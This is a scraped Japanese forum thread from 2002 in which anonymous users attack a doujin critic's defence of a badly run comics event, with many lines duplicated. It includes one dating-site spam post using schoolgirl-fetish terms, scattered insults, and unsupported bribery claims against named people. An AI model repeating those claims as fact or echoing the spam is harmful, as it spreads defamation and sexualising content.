グッズ（クリアファイル）はｽﾀｰﾌ取り置き用に「全部」持っていったとか、
あまりにも酷すぎる状況だった模様。
その取り置き数がこうも多かったのは、ｽﾀｰﾌ要員が確保できなくて、
その無理矢理召還したｽﾀｰﾌへの「報酬代わり」だったんだとＹＯ！
531 ：名無しさん＠どーでもいいことだが。：02/12/07 00:23 ID:UbYYqV79
三崎たんが久しぶりにＨＰ更新してハトコミに関して書いてるのに
いまいち盛り上がらんな、釣り上げＤＱＮが暴れたせいか。
いまいち盛り上がらんな、釣り上げＤＱＮが暴れたせいか。
532 ：名無しさん＠どーでもいいことだが。：02/12/07 00:35 ID:d9Oplz5q
>531
単なる言い訳と自己正当化にしちゃ長すぎて読む気がしないんだよ（ｗ
単なる言い訳と自己正当化にしちゃ長すぎて読む気がしないんだよ（ｗ
533 ：名無しさん＠どーでもいいことだが。：02/12/07 00:46 ID:5Mo6M4FM
>531
532に同じく。あそこまで自己正当化が過ぎると目も当てられない。
かわいそうになってくるよ。だからといって追及の手をゆるめること
はないけど。
怪しげなサークル自体の参加容認がゲストパスだと思うのだがね。
自分の利益にかなう「金の卵を生む雌鳥」を守るのが己の仕事と書か
れていたが、まさにそのとおりな行動で頭が下がるよ。
532に同じく。あそこまで自己正当化が過ぎると目も当てられない。
かわいそうになってくるよ。だからといって追及の手をゆるめること
はないけど。
怪しげなサークル自体の参加容認がゲストパスだと思うのだがね。
自分の利益にかなう「金の卵を生む雌鳥」を守るのが己の仕事と書か
れていたが、まさにそのとおりな行動で頭が下がるよ。
534 ：名無しさん＠どーでもいいことだが。：02/12/07 01:01 ID:6vqwmojL
ま、所詮疥癬とは住む世界が違うって事さ。
535 ：名無しさん＠どーでもいいことだが。：02/12/07 01:03 ID:MRp6ZUMw
というかここで散々語られた内容から一歩も出ていないな。
536 ：名無しさん＠どーでもいいことだが。：02/12/07 01:06 ID:UbYYqV79
537 ：名無しさん＠どーでもいいことだが。：02/12/07 01:07 ID:macD/2x6
このスレは男性向けに群がる一般参加者には馬鹿しか居ないって良い証明だな（藁
お前らは同人に向いてないからさっさと別の趣味でも探せよ。
お前らは同人に向いてないからさっさと別の趣味でも探せよ。
538 ：名無しさん＠どーでもいいことだが。：02/12/07 01:08 ID:Ip1gBlT9
三崎タンは師匠の※ヤンから「良い文章とは、難しい内容を判りやすく簡潔に書くこと」
だと教わらなかったのか？
あの釈明文は自己弁護に終始した悪文だぞ。あれでも物書きの端くれかよ？（ｗ。
だと教わらなかったのか？
あの釈明文は自己弁護に終始した悪文だぞ。あれでも物書きの端くれかよ？（ｗ。
539 ：名無しさん＠どーでもいいことだが。：02/12/07 01:09 ID:5Mo6M4FM
>537
オマエを含めて奈。
オマエを含めて奈。
540 ：名無しさん＠どーでもいいことだが。：02/12/07 01:09 ID:gXRHTdTP
掲示板っていつ消したの？
文章は、長すぎるというか、まあ内容が無いな。
この人は職業物書きなの？
文章は、長すぎるというか、まあ内容が無いな。
この人は職業物書きなの？
541 ：名無しさん＠どーでもいいことだが。：02/12/07 01:11 ID:yIkQ3yG8
>>539
釣られるな。だから馬鹿にされるんだぞ。
釣られるな。だから馬鹿にされるんだぞ。
542 ：名無しさん＠どーでもいいことだが。：02/12/07 01:12 ID:ED2lcxV9
543 ：名無しさん＠どーでもいいことだが。：02/12/07 01:15 ID:AujBmo60
何度も言われてるように、ハトコミは釣られた奴が負け。
次は釣られないように賢くなれ。
次は釣られないように賢くなれ。
544 ：名無しさん＠どーでもいいことだが。：02/12/07 01:18 ID:2PSlOCrH
実際買い専の味方は買い専しか居ないぜ？
そういう状況が嫌なら他に行く自由は有るんだから後は自分の頭で考えな。
そういう状況が嫌なら他に行く自由は有るんだから後は自分の頭で考えな。
545 ：名無しさん＠どーでもいいことだが。：02/12/07 01:27 ID:UbYYqV79
546 ：名無しさん＠どーでもいいことだが。：02/12/07 01:29 ID:71QsuJ2y
>「なぜ、私に自分の鬱を晴らしてくれることを期待するのか？」ということです。
>自分に主体があれば、私なんかに頼らずに自分で考えて自分で行動できるはずですし、
>「文句言える先が２ちゃんしかない」ということもあり得ないはずです。
っていうか２ちゃんも含めて、あそこの掲示板に書き込んでいた者は、三崎氏のトンデモ擁護に違和感を覚えたからこそ、
意見を述べていると思うんですがねぇ・・・。
>自分に主体があれば、私なんかに頼らずに自分で考えて自分で行動できるはずですし、
>「文句言える先が２ちゃんしかない」ということもあり得ないはずです。
っていうか２ちゃんも含めて、あそこの掲示板に書き込んでいた者は、三崎氏のトンデモ擁護に違和感を覚えたからこそ、
意見を述べていると思うんですがねぇ・・・。
547 ：名無しさん＠どーでもいいことだが。：02/12/07 01:32 ID:Rm1YTHRf
三崎たんのあれは全部が全部自己弁護で全く聞くに値しない、と
本気で思うようならそいつもまた同人にとって不必要な頭の持ち主だよな。
自己弁護が全く入ってないと思うような奴は…三崎たん本人よりも幸せな頭の
持ち主ですね。社会にとって不必要かも(w
本気で思うようならそいつもまた同人にとって不必要な頭の持ち主だよな。
自己弁護が全く入ってないと思うような奴は…三崎たん本人よりも幸せな頭の
持ち主ですね。社会にとって不必要かも(w
548 ：名無しさん＠どーでもいいことだが。：02/12/07 01:34 ID:UbYYqV79
実際、主催者側の不手際が不満の大元なのにイワエモンの文まで持ち出して
大手サークルや一般参加者にケチつけてもなあ･･･。
大手サークルや一般参加者にケチつけてもなあ･･･。
>「サークル岩田次夫」のサークル参加です。
（中略）
>多くの即売会で、一般参加で並んで会場に入っています。何時間も待つこともありますし、
>何時間も待つ気力のない時は、入場を諦めるときもあります。
他のイベント全てが何時間も並ぶならともかく、小規模なオンリーならさほど並ばない事が多いはず。
それらと、ハトコミのように一般参加者が特に「虐待された」例を同列に扱うのはどうかと。
サークル参加して、写真を撮って高みの見物をしてる暇があるなら、辛い一般参加をすれば、
また違った角度からこのイベントの問題点が見えてくるんじゃないですかね。
一般参加者を卑下しないなら、同じ視点で物を語って貰いたいだけなんですけど、三崎さん。
（中略）
>多くの即売会で、一般参加で並んで会場に入っています。何時間も待つこともありますし、
>何時間も待つ気力のない時は、入場を諦めるときもあります。
他のイベント全てが何時間も並ぶならともかく、小規模なオンリーならさほど並ばない事が多いはず。
それらと、ハトコミのように一般参加者が特に「虐待された」例を同列に扱うのはどうかと。
サークル参加して、写真を撮って高みの見物をしてる暇があるなら、辛い一般参加をすれば、
また違った角度からこのイベントの問題点が見えてくるんじゃないですかね。
一般参加者を卑下しないなら、同じ視点で物を語って貰いたいだけなんですけど、三崎さん。
550 ：名無しさん＠どーでもいいことだが。：02/12/07 01:58 ID:Rm1YTHRf
>>549
メールで言えよ(w
メールで言えよ(w
551 ：名無しさん＠どーでもいいことだが。：02/12/07 02:03 ID:UbYYqV79
>>550
忙しくて読まないかハトコミ関連は削除破棄される罠＞メール
忙しくて読まないかハトコミ関連は削除破棄される罠＞メール
552 ：名無しさん＠どーでもいいことだが。：02/12/07 02:05 ID:w/MgIF9N
ところで、総研のBBS保存してた奴いる？
553 ：名無しさん＠どーでもいいことだが。：02/12/07 02:10 ID:gXRHTdTP
BBS荒れてたの？
俺が最後に見たときは書き込みほとんど無かったけど。
なんか煽って楽しんでるみたいだな。。。
俺が最後に見たときは書き込みほとんど無かったけど。
なんか煽って楽しんでるみたいだな。。。
554 ：名無しさん＠どーでもいいことだが。：02/12/07 02:40 ID:UbYYqV79
555 ：名無しさん＠どーでもいいことだが。：02/12/07 04:10 ID:TK10kENE
今回の更新を見てたらまるでハトコミがベストを尽くしきった良イベントのように見えてくるな。
556 ：名無しさん＠どーでもいいことだが。：02/12/07 04:30 ID:OQYGL72r
>555
徹夜転売屋及び転売スタッフにはベストであった、と
後世の歴史家は評価するであろう。
徹夜転売屋及び転売スタッフにはベストであった、と
後世の歴史家は評価するであろう。
557 ：ｶﾞｲｼｭﾂの繰り返しになるが：02/12/07 07:23 ID:qJNQybZI
さとみ～の弁明も痛々しいけど、一番の問題は、
鳩混み準備会と称する主催者（たち）が、イベント終了後、
まとまな報告をほとんどやってないってことなんだよな。
準備会プロフィールも、２度目以降がないとしたら恐らくは準備中のままで、
いつの日かOHPごと404だろうし。
イベント終了の報告が↓これだけじゃあねぇ・・・
> イベントは無事
> 終了いたしました
> ご参加、まことにありがとうございました。
鳩混み準備会と称する主催者（たち）が、イベント終了後、
まとまな報告をほとんどやってないってことなんだよな。
準備会プロフィールも、２度目以降がないとしたら恐らくは準備中のままで、
いつの日かOHPごと404だろうし。
イベント終了の報告が↓これだけじゃあねぇ・・・
> イベントは無事
> 終了いたしました
> ご参加、まことにありがとうございました。
558 ：名無しさん＠どーでもいいことだが。：02/12/07 09:40 ID:li77zG5l
オープンな方の掲示板では何もなかったよね？
もしかして身内用だかパスワードだかいる掲示板でつっこまれてたの？
突拍子もなくこのスレに出てきた「一般が三崎に頼るなよ」みたいな
意見の矛先がやっとわかった。このスレにそんなヤツいなかったのに。
まったく、向こうの反論をこっちに書くなよ（ｗ
だいたい向こうの掲示板で反論できなくて、2ちゃんに書くしかなかった
ヤツって誰さ？（爆笑）
もしかして身内用だかパスワードだかいる掲示板でつっこまれてたの？
突拍子もなくこのスレに出てきた「一般が三崎に頼るなよ」みたいな
意見の矛先がやっとわかった。このスレにそんなヤツいなかったのに。
まったく、向こうの反論をこっちに書くなよ（ｗ
だいたい向こうの掲示板で反論できなくて、2ちゃんに書くしかなかった
ヤツって誰さ？（爆笑）
559 ：名無しさん＠どーでもいいことだが。：02/12/07 10:26 ID:A0Bdd5mU
ほんっと、一般参加者を貶めるのが上手いねM崎ﾀﾝは。
ハトコミを知らない人があの無駄に長い文章を読んだら、大半は
スタッフ・主催＝懸命な努力家、一般参加者＝我が儘でお客気取りな馬鹿
って思うだろうね間違いなく。
懸命に頑張ったスタッフが（その割合はともかく）確実にいるのは誰も否定
してないし、そういう人たちのことはオレらだってちゃんと評価するっての。
一般参加者側がいちばん問題にしてるのは、
・徹夜組にペナを与えることを示唆しておきながら（←重要）それを実行しなかったこと
もしくは、ペナを実行できる力がないのにペナ実行を示唆したこと
・過剰な儲け主義に走ったとしか思えない主催の運営方針
・主催の愚行に対するM崎の批判が不当（＝手ぬるすぎ）であること
なはずなのに（他にもあるけど略）、それに対する反論が一切ないなんてもうｱﾌｫかと。
ハトコミを知らない人があの無駄に長い文章を読んだら、大半は
スタッフ・主催＝懸命な努力家、一般参加者＝我が儘でお客気取りな馬鹿
って思うだろうね間違いなく。
懸命に頑張ったスタッフが（その割合はともかく）確実にいるのは誰も否定
してないし、そういう人たちのことはオレらだってちゃんと評価するっての。
一般参加者側がいちばん問題にしてるのは、
・徹夜組にペナを与えることを示唆しておきながら（←重要）それを実行しなかったこと
もしくは、ペナを実行できる力がないのにペナ実行を示唆したこと
・過剰な儲け主義に走ったとしか思えない主催の運営方針
・主催の愚行に対するM崎の批判が不当（＝手ぬるすぎ）であること
なはずなのに（他にもあるけど略）、それに対する反論が一切ないなんてもうｱﾌｫかと。
560 ：名無しさん＠どーでもいいことだが。：02/12/07 10:38 ID:jfmVi0so
>559
まさか徹夜上等、とか書くわけにもいかんだろう(´д`)＞さすがに
あの規模で徹夜ペナは確かに実行したらパニくりそうだったわけで、現場でそこの判断はせざるを得なかったんじゃ無かろうか？（真実は闇の中だろうけど）
仮にしない、できないとしても準備会の体裁としては徹夜ペナやりません、とは言えないわけで…
二番目以降の指摘についてもまぁもにょりとあるけど以下略。
まさか徹夜上等、とか書くわけにもいかんだろう(´д`)＞さすがに
あの規模で徹夜ペナは確かに実行したらパニくりそうだったわけで、現場でそこの判断はせざるを得なかったんじゃ無かろうか？（真実は闇の中だろうけど）
仮にしない、できないとしても準備会の体裁としては徹夜ペナやりません、とは言えないわけで…
二番目以降の指摘についてもまぁもにょりとあるけど以下略。
＞それに対する反論が一切ないなんてもうｱﾌｫかと。
３つのうち下の２つに対しての反論はあった。もっとも、それだってとても
説得力のあるものじゃなかったけどｗ
３つのうち下の２つに対しての反論はあった。もっとも、それだってとても
説得力のあるものじゃなかったけどｗ
562 ：名無しさん＠どーでもいいことだが。：02/12/07 10:48 ID:A0Bdd5mU
＞まさか徹夜上等、とか書くわけにもいかんだろう(´д`)＞さすがに
それはそうだｗ でも、だったらコミケみたいに「徹夜禁止」とだけ書いといて
ペナの有無に関しては全く書かない方がよかった。
オフィシャルでも「徹ペナを必ず実行する」とは明言してないけど（ペナを課す“可能性が
ある”とは確かに書いていたｗ）、そんなもん真面目な一般にとっては屁理屈も同然な
わけでｗ
それはそうだｗ でも、だったらコミケみたいに「徹夜禁止」とだけ書いといて
ペナの有無に関しては全く書かない方がよかった。
オフィシャルでも「徹ペナを必ず実行する」とは明言してないけど（ペナを課す“可能性が
ある”とは確かに書いていたｗ）、そんなもん真面目な一般にとっては屁理屈も同然な
わけでｗ
563 ：名無しさん＠どーでもいいことだが。：02/12/07 10:52 ID:d9Oplz5q
何であんなにだらだらと駄文書きつらねるかな。
３行で足りるじゃん。
僕は全然悪くないですよ。
主催の人たちはｶﾞﾝｶﾞｯﾃましたよ。
一般参加者？ 馬鹿ｼﾞｬﾈｰﾉ？（ﾌﾟ
ほら足りた（ｗ
３行で足りるじゃん。
僕は全然悪くないですよ。
主催の人たちはｶﾞﾝｶﾞｯﾃましたよ。
一般参加者？ 馬鹿ｼﾞｬﾈｰﾉ？（ﾌﾟ
ほら足りた（ｗ
564 ：名無しさん＠どーでもいいことだが。：02/12/07 11:20 ID:KD+zxihR
リアルこみパのときは、実質的にCPSが運営していたことを明らかにして、批評をしていた。
コミケット準備会幹部ｽﾀｰﾌであるサトミ～が、身内ともいえるCPSについて隠さずに批評をしたこともあって、
あのときの批評には、それなりの説得力と影響力があったように思う。
しかし、なぜか今回は、主催者について最後まで明らかにしていない。
これについては、2chでも同人誌総研のBBSでも疑問の声があがっていたにも関わらず。
あれだけの長文のどこかに、
１）主催者が誰であるか、本当に知らない
２）知っているし、必要があれば、この場（同人誌総研）で明らかにすることできる
３）知っているが、オトナの事情により明らかにできない
の、いずれかを書くくらいの余裕はあったと思うのに・・・
コミケット準備会幹部ｽﾀｰﾌであるサトミ～が、身内ともいえるCPSについて隠さずに批評をしたこともあって、
あのときの批評には、それなりの説得力と影響力があったように思う。
しかし、なぜか今回は、主催者について最後まで明らかにしていない。
これについては、2chでも同人誌総研のBBSでも疑問の声があがっていたにも関わらず。
あれだけの長文のどこかに、
１）主催者が誰であるか、本当に知らない
２）知っているし、必要があれば、この場（同人誌総研）で明らかにすることできる
３）知っているが、オトナの事情により明らかにできない
の、いずれかを書くくらいの余裕はあったと思うのに・・・
565 ：jeny：02/12/07 11:46 ID:NfX/j4Wm
（563）ぐわ 死ね (゜一 ゜)
o o o Эー ー ーー ー＝＝＝＝＝●●●● ●
o ●
●●● ●
566 ：名無しさん＠どーでもいいことだが。：02/12/07 12:04 ID:jfmVi0so
多分暗に3)だと言いたいんじゃないの？(´д`)ﾀﾌﾞﾝ
567 ：負：02/12/07 12:07 ID:TcmUKVGr
∧||∧
（ ⌒ ヽ 色紙どうなったのやら・・・。
∪ ノ
∪∪
（ ⌒ ヽ 色紙どうなったのやら・・・。
∪ ノ
∪∪
568 ：名無しさん＠どーでもいいことだが。：02/12/07 12:09 ID:jfmVi0so
ﾀﾌﾞﾝスタッフの手に…∧||∧
569 ：負：02/12/07 12:34 ID:TcmUKVGr
スタッフほくほく顔でしょうな・・マジなら（´∀｀）
発表もせず放置とは・・・言葉がでない、ただﾋｯﾄ数だけが
増えてくんですね。
発表もせず放置とは・・・言葉がでない、ただﾋｯﾄ数だけが
増えてくんですね。
570 ：出会い最強新機能でOPUN：02/12/07 12:39 ID:M9fmVFQF
http://Jumper.jp/dgi/
朝までから騒ぎ！
今回HP新装OPUNしました！
断然使いやすくしています！
PC/i/j/ez/対応にしました
アンケ－ト、ランキング集など
高機能なシステムに大変身
メル友、コギャル、ブルセラ
大人の恋愛、熟女、ぽっちゃり
出会いサイトの決定版です
今後高機能続々導入します
朝までから騒ぎ！
今回HP新装OPUNしました！
断然使いやすくしています！
PC/i/j/ez/対応にしました
アンケ－ト、ランキング集など
高機能なシステムに大変身
メル友、コギャル、ブルセラ
大人の恋愛、熟女、ぽっちゃり
出会いサイトの決定版です
今後高機能続々導入します
571 ：名無しさん＠どーでもいいことだが。：02/12/07 12:41 ID:yvXTbBqI
三崎タソは同人誌界でのしがらみが多すぎて、言いたいことが言えないんだろう
けど、それでは「同人誌評論家」の肩書きに意味は無い。全く無い。
もう「評論家」の看板降ろしたらどう？＞三崎タソ。
オーディオ雑誌や自動車雑誌が、数多の癒着で提灯記事のオンパレードに
なってるくらいは知ってるだろ？なぁ。それと同じだよ、アンタわ（ｗ。
けど、それでは「同人誌評論家」の肩書きに意味は無い。全く無い。
もう「評論家」の看板降ろしたらどう？＞三崎タソ。
オーディオ雑誌や自動車雑誌が、数多の癒着で提灯記事のオンパレードに
なってるくらいは知ってるだろ？なぁ。それと同じだよ、アンタわ（ｗ。
572 ：名無しさん?：02/12/07 12:42 ID:bN73cgT3
自分の主張を通す為に、自分の即売会に対してのスタンスや
徹夜のことを何回もしつこいぐらいに書かないと誰も
理解してもらえない自分の状況をまず考えてみろよ。
彼も文章ってのは、すべては起こった現象をただ記述している
後ズケ解釈なんですよね、それを2chの一部のﾔｼに見透かされて
いるのも気づかない彼はちょっとねーー。
まあ単なる同人誌に関わっている時間がちょっと長い勘違い評論家には
文章表現の限界があるんですけど、少なくとも何回も持論を繰り返すのは
止めていただきたいものですね。
徹夜のことを何回もしつこいぐらいに書かないと誰も
理解してもらえない自分の状況をまず考えてみろよ。
彼も文章ってのは、すべては起こった現象をただ記述している
後ズケ解釈なんですよね、それを2chの一部のﾔｼに見透かされて
いるのも気づかない彼はちょっとねーー。
まあ単なる同人誌に関わっている時間がちょっと長い勘違い評論家には
文章表現の限界があるんですけど、少なくとも何回も持論を繰り返すのは
止めていただきたいものですね。
573 ：名無しさん＠どーでもいいことだが。：02/12/07 12:59 ID:CKHuPU5R
まああの人は研究者・評論家じゃなくて
芸能レポーターみたいなものですから。
で、三崎もペナの方法論に話摩り替えてみんなもそっち向いたんだが
一番最初の問題点は
やると言ってた事をまったくしない有言不実行だったと思うが？
芸能レポーターみたいなものですから。
で、三崎もペナの方法論に話摩り替えてみんなもそっち向いたんだが
一番最初の問題点は
やると言ってた事をまったくしない有言不実行だったと思うが？
574 ：名無しさん＠どーでもいいことだが。：02/12/07 13:26 ID:TK10kENE
まあ、研究家がいってることも常に正しいとはかぎらない、と。
下手な看板かかげてるぶん、民衆よりもはた迷惑だが。
下手な看板かかげてるぶん、民衆よりもはた迷惑だが。
575 ：名無しさん＠どーでもいいことだが。：02/12/07 13:27 ID:eQ/l9D/f
>>573
「やるかもしれない」が、いつ「やる」に変わったんだ？ 脳内妄想で変換するなよ(藁
「やるかもしれない」が、いつ「やる」に変わったんだ？ 脳内妄想で変換するなよ(藁
576 ：名無しさん＠どーでもいいことだが。：02/12/07 13:33 ID:Oi9Rl8CY
はっはっはっは！三崎さん素晴らしい！荒らしがあったわけでもないのに
掲示板閉鎖か。何がそんなに問題あったのかサッパリ解らん。自分に耳障りの
いい事を言ってくれる人が少なかったから、すねちゃったのかな？
あの文章を要約すると、「俺に文句言ったってしょうがないじゃない｣
という事ですわなあ。じゃあどうすればいいのか？自分で意見せい、と。
ひどいねどうも。じゃあ意見を申し出る先くらい教えてくれよ。あんた。
自分のウェブサイトでもなんでも意見を開陳しろといったって、申し立てたい
相手(特に今回の首謀者のような)が覗きに来る可能性なんてほとんどないぞ。
それとも無名のウェブサイトでも、１００集まれば、自然と世界中にハトコミの
いかがわしさ、不誠実さは広まるのか？猿の芋洗いのように。
そんなわけないだろう。ハトコミの話をせいといっているのに最後まで
一般論と理想論に話をすりかえてごまかしやがった。ちくしょうめ。
主催者どもは雲隠れ、ジャーナリストは腐敗の極みで権力に追従。意見が
まるで届かないなら、これはもう、どうする？
それにしても、面白い人だ。三崎さんサイコウ！
掲示板閉鎖か。何がそんなに問題あったのかサッパリ解らん。自分に耳障りの
いい事を言ってくれる人が少なかったから、すねちゃったのかな？
あの文章を要約すると、「俺に文句言ったってしょうがないじゃない｣
という事ですわなあ。じゃあどうすればいいのか？自分で意見せい、と。
ひどいねどうも。じゃあ意見を申し出る先くらい教えてくれよ。あんた。
自分のウェブサイトでもなんでも意見を開陳しろといったって、申し立てたい
相手(特に今回の首謀者のような)が覗きに来る可能性なんてほとんどないぞ。
それとも無名のウェブサイトでも、１００集まれば、自然と世界中にハトコミの
いかがわしさ、不誠実さは広まるのか？猿の芋洗いのように。
そんなわけないだろう。ハトコミの話をせいといっているのに最後まで
一般論と理想論に話をすりかえてごまかしやがった。ちくしょうめ。
主催者どもは雲隠れ、ジャーナリストは腐敗の極みで権力に追従。意見が
まるで届かないなら、これはもう、どうする？
それにしても、面白い人だ。三崎さんサイコウ！
577 ：名無しさん＠どーでもいいことだが。：02/12/07 13:34 ID:UfqGHTBd
言いたいことはageで書け
578 ：名無しさん＠どーでもいいことだが。：02/12/07 13:41 ID:iY5NEDtF
徹夜発言の問題は、レヴォ・サンクリ・こみパ（ｗ）・一部オンリーなどが
徹夜対処の実績を残す中で「徹夜対策は危なくてできないんですよ」
なんて寝ぼけたことを言ったこと。
対処が難しいことはもう皆知ってて、人気サークルが来れば徹夜・早朝
問題が起こる事も知ってて、自分が制御できる範囲の規模でイベント
やってるつーねん。
それを今更、同人の中心にいるスタッフ、サークルが集まってやった
イベントで「危なくてできないんですよ」じゃねーだろ？（爆笑）
徹夜対処の実績を残す中で「徹夜対策は危なくてできないんですよ」
なんて寝ぼけたことを言ったこと。
対処が難しいことはもう皆知ってて、人気サークルが来れば徹夜・早朝
問題が起こる事も知ってて、自分が制御できる範囲の規模でイベント
やってるつーねん。
それを今更、同人の中心にいるスタッフ、サークルが集まってやった
イベントで「危なくてできないんですよ」じゃねーだろ？（爆笑）
579 ：名無しさん＠どーでもいいことだが。：02/12/07 13:44 ID:UfqGHTBd
次スレは同人誌生活文化を語るスレになりそうだな
580 ：名無しさん＠どーでもいいことだが。：02/12/07 13:47 ID:iY5NEDtF
もし、次スレ立つことがあったらMQNも追加しないとなぁ。
正直、乱立が許されるなら女性向けのお嬢さんたちにも
知らせるために単独スレ立ち上げたいくらいだが。
もともと女性向に信者が多い人だしね（ｗ
正直、乱立が許されるなら女性向けのお嬢さんたちにも
知らせるために単独スレ立ち上げたいくらいだが。
もともと女性向に信者が多い人だしね（ｗ
581 ：名無しさん＠どーでもいいことだが。：02/12/07 13:53 ID:koPm0HQ5
582 ：名無しさん＠どーでもいいことだが。：02/12/07 14:14 ID:jfmVi0so
>578
お前は現場で外につながるドアのところを見たのかと小一時間（略
確かにZQNが明らかに煽り、そしてレヴォの数分の一のスペースに普通ならとても扱いきれないような数が集まりそうなイベントになるのも見えた。
それについては語られているので細かくはつっこまん。
でだ、いくら優秀なスタッフでもそんな人の数&スペースで列を捌ききれるとはとうてい思えないが？
その意味ではスタッフ(?)は正しかったのかもしらん。結果はアレだが。
お前は現場で外につながるドアのところを見たのかと小一時間（略
確かにZQNが明らかに煽り、そしてレヴォの数分の一のスペースに普通ならとても扱いきれないような数が集まりそうなイベントになるのも見えた。
それについては語られているので細かくはつっこまん。
でだ、いくら優秀なスタッフでもそんな人の数&スペースで列を捌ききれるとはとうてい思えないが？
その意味ではスタッフ(?)は正しかったのかもしらん。結果はアレだが。
583 ：名無しさん＠どーでもいいことだが。 ：02/12/07 14:39 ID:Ed+Jl/lY
真実を書かれたくなければ、擁護は止めとけ。
今回の件はこちらも些か腹が立っているから
今回の件はこちらも些か腹が立っているから
584 ：名無しさん＠どーでもいいことだが。：02/12/07 14:40 ID:fmySXg+w
現地で処理したスタッフは正しかったのかもしらん。
上でのらりくらりと指示だけしてた糞どもは、今のこの業界のカスだがな。
兵隊さん悪くいってもしょうがないでしょう。うん。
上でのらりくらりと指示だけしてた糞どもは、今のこの業界のカスだがな。
兵隊さん悪くいってもしょうがないでしょう。うん。
585 ：名無しさん＠どーでもいいことだが。：02/12/07 15:59 ID:wipqQ+m4
>583
真実って言うのは
ハトコミが元々やり逃げ集金イベントで、
本当の意味での主催は
ＺＱＮのおかげであまり名前が上がらない人物ってことか？
もしその人物とその下の人間のハトコミでの動きを知ってるなら
書き込むのはやめとけ。
おいしい汁を吸える側の人間だったんだろ。
真実って言うのは
ハトコミが元々やり逃げ集金イベントで、
本当の意味での主催は
ＺＱＮのおかげであまり名前が上がらない人物ってことか？
もしその人物とその下の人間のハトコミでの動きを知ってるなら
書き込むのはやめとけ。
おいしい汁を吸える側の人間だったんだろ。
586 ：名無しさん＠どーでもいいことだが。：02/12/07 16:19 ID:UfqGHTBd
真実を書いてほしいので頑張って擁護してください（藁
587 ：名無しさん＠どーでもいいことだが。：02/12/07 16:35 ID:NmRwJpr0
原ｴﾘの人も呆れ果てたのか無反応になったようだのう
ハトコミが当初から言われていたように、
同人イベントの腐敗を顕著にあらわすために実行された
という意見を思い出したよ
その腐敗の温床が自分ではしょうがないがﾅ（´ー｀）ｙ-oο０
ハトコミが当初から言われていたように、
同人イベントの腐敗を顕著にあらわすために実行された
という意見を思い出したよ
その腐敗の温床が自分ではしょうがないがﾅ（´ー｀）ｙ-oο０
588 ：名無しさん＠どーでもいいことだが。：02/12/07 17:22 ID:UbsVgo0y
確かにあの会場で徹ペナを行ったら混乱は必至だっただろう
でもね、MQNたん
あ の 会 場 を 使 う 事 を 決 め た の は ハ ト コ ミ 主 催 者 な ん だ よ
当然その責任が問われてしかるべきでしょ
イベント主催者として責任感も能力も欠如した輩はイベント主催なんかしちゃいけない
なのに、してしまった以上、批判されるのは当たり前
にしても今回も「剣聖覇王商会・是空とおる」「丹下拳闘倶楽部・横田守」の名は
出せなかったんだね
あいちょこやカッタは名指しだったのに
でもね、MQNたん
あ の 会 場 を 使 う 事 を 決 め た の は ハ ト コ ミ 主 催 者 な ん だ よ
当然その責任が問われてしかるべきでしょ
イベント主催者として責任感も能力も欠如した輩はイベント主催なんかしちゃいけない
なのに、してしまった以上、批判されるのは当たり前
にしても今回も「剣聖覇王商会・是空とおる」「丹下拳闘倶楽部・横田守」の名は
出せなかったんだね
あいちょこやカッタは名指しだったのに
590 ：名無しさん＠どーでもいいことだが。：02/12/07 18:34 ID:x6O00jb7
でも、どんな事柄を取ってみても、専門家の意見がピタリと一致すること
なんて逆に珍しいぐらいでしょ。
彼の意見に対して、どこかの掲示板で反対意見があったとして、
それがどうしたと言うんでしょうかねーー、彼が何に対して憤慨して
2回も我を忘れて長文も書き連ねなければいけない理由が私には
さっぱり分かりません。分別の付く大人でしたら直のこと・・。
最後には掲示板の一部の意見で一般参加はお客様だと勘違いしている
感じがするとか、一体何人の参加者に聞いて回ったのかと逆に
聞きたい。こんな意見は風説の流布じゃないか？
なんて逆に珍しいぐらいでしょ。
彼の意見に対して、どこかの掲示板で反対意見があったとして、
それがどうしたと言うんでしょうかねーー、彼が何に対して憤慨して
2回も我を忘れて長文も書き連ねなければいけない理由が私には
さっぱり分かりません。分別の付く大人でしたら直のこと・・。
最後には掲示板の一部の意見で一般参加はお客様だと勘違いしている
感じがするとか、一体何人の参加者に聞いて回ったのかと逆に
聞きたい。こんな意見は風説の流布じゃないか？
591 ：名無しさん＠どーでもいいことだが。：02/12/07 23:57 ID:37NDIiOf
>590
それだけ必死に擁護する必要が彼にはあるんだよ。やっぱり、何か
貰っていると推測するのが適当かと思う。
それだけ必死に擁護する必要が彼にはあるんだよ。やっぱり、何か
貰っていると推測するのが適当かと思う。
592 ：名無しさん＠どーでもいいことだが。：02/12/08 00:09 ID:V0hcvwZA
>590
つーか「下々」とかの表現は、ハトコミが象徴するような
一般参加者の現状を皮肉った表現でしょ
他ならぬ自分たちが一般参加者を「そういう扱い」しておきながら
「なんで、一般参加者であることをかくも卑下するのだろう？」
とはあきれかえる
皮肉を理解できないふりをしているのなら姑息なバカだし
理解できてないんならただのバカだ
一般参加者の参加者意識欠如を叩くのもいいが
一般参加者を参加者扱いしていないイベンターの問題から目を逸らしちゃ
どっちの問題も悪化する一方なんじゃないか
つーか「下々」とかの表現は、ハトコミが象徴するような
一般参加者の現状を皮肉った表現でしょ
他ならぬ自分たちが一般参加者を「そういう扱い」しておきながら
「なんで、一般参加者であることをかくも卑下するのだろう？」
とはあきれかえる
皮肉を理解できないふりをしているのなら姑息なバカだし
理解できてないんならただのバカだ
一般参加者の参加者意識欠如を叩くのもいいが
一般参加者を参加者扱いしていないイベンターの問題から目を逸らしちゃ
どっちの問題も悪化する一方なんじゃないか
593 ：名無しさん＠どーでもいいことだが。：02/12/08 01:51 ID:indwZzx0
ぜきゅんスペースは３日目東５シ－５８なり
594 ：名無しさん＠どーでもいいことだが。：02/12/08 02:04 ID:ffdQWJCz
http://www.st.rim.or.jp/%7Enmisaki/works2/repo2000082.html
↑
ここで散々リアルこみパの批判をしているが、
＞即売会終了後、彼らのWebの掲示板には、この即売会に対する批判の声が多数上がった。
＞その批判に対して彼らは一言も応えることなく、批判の書き込みを全て削除することで応えた。
＞それが彼らのやり方なのだ。
確かに「一言」（非常に的はずれな内容だが）以上は応えてはいるものの、
酷い荒らしに遭った訳でもないのに掲示板を閉鎖して、自分への意見から目をそらし耳を塞いでいる彼は、
リーフと全く同じ立場に成り下がったと言わざるを得ませんな。
>>592
烈しく同意。
あれ程「参加者」を人間扱いされなかったイベントだったら、自嘲的に「三等」って言いたくなりますわ。
↑
ここで散々リアルこみパの批判をしているが、
＞即売会終了後、彼らのWebの掲示板には、この即売会に対する批判の声が多数上がった。
＞その批判に対して彼らは一言も応えることなく、批判の書き込みを全て削除することで応えた。
＞それが彼らのやり方なのだ。
確かに「一言」（非常に的はずれな内容だが）以上は応えてはいるものの、
